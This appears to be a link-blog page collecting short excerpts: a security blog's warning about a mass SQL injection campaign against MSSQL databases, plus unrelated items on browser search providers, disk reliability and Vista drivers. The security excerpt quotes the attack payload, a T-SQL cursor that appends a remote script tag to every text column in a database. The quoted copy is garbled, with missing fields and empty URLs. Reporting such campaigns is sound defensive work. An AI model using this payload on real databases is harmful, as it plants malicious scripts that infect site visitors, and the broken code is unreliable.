TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select, from sysobjects a, syscolumns b where and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [‘+@T+’] set [‘+@C +’]=[‘+@C+’]+””></title><script src=” w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=” “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Add Search Providers to Internet Explorer 7 & Firefox

I believe that if we could arrange to have each of Freedom’s 7000 employees use as their browsers’ default, local news resource, the web search tool, it would have an impact on Freedom revenue. At the very least, we may want to consider making this one of the steps in setting up new workstations.

By following the directions on the following page, we can use the Google ‘web’ search results page our default for searches from the IE7 search bar:

There are also instructions available to add them to the Mozilla Search Bar here:

Technorati’s OSD fileThat page has instructions indicating how to add a search engine plugin to your browser, and ‘advertise’ how to do it to the web browser, so our visitors & staff can add them to their browsers as well. Very Nifty! Continue reading “Add Search Providers to Internet Explorer 7 & Firefox”

StorageMojo » Everything You Know About Disks Is Wrong

StorageMojo » Everything You Know About Disks Is Wrong
Everything You Know About Disks Is Wrong
February 20th, 2007 by Robin Harris in Enterprise, Clusters

Which do you believe?

* Costly FC and SCSI drives are more reliable than cheap SATA drives.
* RAID 5 is safe because the odds of two drives failing in the same RAID set are so low.
* After infant mortality, drives are highly reliable until they reach the end of their useful life.
* Vendor MTBF are a useful yardstick for comparing drives.

According the one of the “Best Paper” awards at FAST ‘07, none of these are backed by empirical evidence.

Free Vista Drivers – RadarSync

Free Vista Drivers – RadarSync
Don’t waste your time searching dozens of vendor websites every month for the driver updates you need. Just bookmark this page and come back whenever you need a new driver.

This FREE page lists the latest Windows Vista drivers and provides direct links to the files for downloads. We’re offering this as a free service to the community, to help you all get through this challenging period of Vista-transitioning.

I haven’t used the site, but thought it might be useful to someone here…